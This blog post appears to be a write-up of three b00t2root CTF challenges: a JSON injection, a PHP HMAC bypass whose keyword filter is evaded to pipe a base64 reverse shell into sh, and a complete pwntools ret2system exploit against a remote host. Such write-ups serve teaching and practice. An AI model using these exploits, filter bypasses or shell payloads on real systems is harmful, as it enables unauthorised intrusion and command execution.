My team (just me, my teammate is having his final) solved 3 problems in the recent concluded b00t2r00t CTF, the event didn’t have many participants but the challenges are fairly good. On a scale of 10 in difficulty, it’s probably around 3. The three problems I solved are two web challenges and one pwn challenge.
Dr Jason (Web)
Description
IP : http://67.205.134.115:46911/ Only Admin can see the flag
Author :Dungeon_Master
Solution
A server.js file is also given.
const express = require('express');
const bodyParser = require('body-parser');
var cors = require('cors');
require('dotenv').config();
const app = express();
app.use(bodyParser.json({extended: false}));
app.use(cors());
app.post('/flag',async (req,res)=>{
if (!req.body.name || typeof req.body.name !== 'string') {
res.status(400).json({success: false, error: 'Invalid token'});
res.end();
return;
}
const name = req.body.name;
var token = `{"admin":0,"name":"${name}"}`
try{
token = JSON.parse(token);
}
catch{
res.json({success: false, error: 'Invalid token'});
res.end();
return;
}
if(token.admin === 1){
res.json({success: true, flag: process.env.FLAG})
}
else{
res.json({success: false, error: 'You are not admin'});
}
})
app.listen(3000)

This challenge is a fairly easy json injection problem. We need the admin token to be 1, but it was pre-set to be 0. However, we can control the name field.
{"admin":0, "name":"asd"}
Would be a normal token, but what if we use " to break out the double quote and re-assign the admin field?
{"admin":0,"name":"asd","admin":1,"name":"a"}
will be what happens if we do an injection in the name field. If we provide our name to be asd","admin":1,"name":"a, then it should make our token valid as admin.
Register, and then click the flag button.

Flag
b00t2root{js0n_1nj3ct10n}
Buggy PHP (Web)
Description
IP : http://165.22.179.69/ pass through the php filters to get the flag
Author:Dungeon_Master
Solution
They are nice enough to give out the source code of index.php.
<?php
require('req.php');
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
show_source("index.php");
if (empty($_GET['hash']) || empty($_GET['cmd']) || empty($_GET['tmp'])){
exit;
}
$key = getenv('KEY');
if(isset($_GET['tmp']))
$key = hash_hmac('sha256',$_GET['tmp'],$key);
$hash = hash_hmac('sha256',$_GET['cmd'],$key);
if ($hash !== $_GET['hash']) {
echo "NO flag for you";
exit;
}
$cmd = preg_replace($filter, '', $_GET['cmd']);
echo exec("cmd ".$cmd);
?>
We cannot let hash, tmp, and cmd parameter be empty, otherwise the application will just exit. We also need to make sure the hash parameter is the same as the $hash variable in the code. But $hash is computed with a key we don’t know.
And here comes the trick. You see
$key = hash_hmac('sha256',$_GET['tmp'],$key);
if it is to computer the hash for an array, it will return NULL instead of an actual hash.

And with that, now we know the value of key, and we can just compute the hash on our own. But don’t be happy just yet, before the exec call, the $cmd is being filtered. I saw preg_replace function and immediately know the input isn’t being filter recursively.
Let’s say our input is whoami, and this very word in is the blacklist and it will be replaced to an empty string. But if we put whowhoamiami, it will replace the whoami with empty string, we are left with another whoami as result.
The process is quite long so I will just leave the result here. I used base64 to get a reverse shell and got flag. base64 is also in the blacklist so babase64se64 would work. The base of my payload is just echo (base64 encoded command) | base64 -d | sh. I can write a script to make things easier but didn’t really bother.

And here is the final HTTP request.

Here is the screenshot containing the flag.

I feel like I probably just should use grep, but oh well.
Flag
b00t2root{Bu99y_pHp_Ch4ll3n93s}
Welcome To Pwn (Pwn)
Description
Welcome to pwn, here is an easy challenge to get you started.
nc 35.238.225.156 1001
Author: Viper_S
Solution
A binary file was given.

NX is set, so no shellcode for us today.
I used cutter to decompile the binary and found the function system lies around. Then I know it’s just going to be ret2system type of challenge.
Then find the overflow point using gdb.

And let’s construct payload. The reason for finding pop rdi is how x64 architectures pass arguments. The first 6 arguments are stored in registers rdi, rsi, rdx, rcx, r8, r9. Since the function we want to call (system) only needs one argument, that’s why we need to find pop rdi. Similarly, if more arguments are needed, we also need to find pop rsi, pop rdx and more…

Here is the final exploit:
#!/usr/bin/env python3
from pwn import *
filename = './welcome'
elf = ELF(filename)
context(arch='amd64', os='linux')
#context.log_level = 'debug'
offset = 152
system_addr = elf.plt['system']
pop_rdi = 0x000000000040128b
sh_addr = next(elf.search(b'/bin/sh\x00'))
main = 0x0040119a
puts = elf.plt['puts']
junk = b'm' * offset
payload = flat(
junk, pop_rdi,
sh_addr, puts,
pop_rdi, sh_addr,
system_addr
)
host = '35.238.225.156'
port = 1001
r = remote(host, port)
r.sendlineafter('got', payload)
r.interactive()
Initially I was unable to get shell for god know what reason. Then I added some additional instructions to probably align the stack and it worked.

Flag
b00t2root{W3lc0m3_T0_Pwn_YjAwdDJyb290JzIw}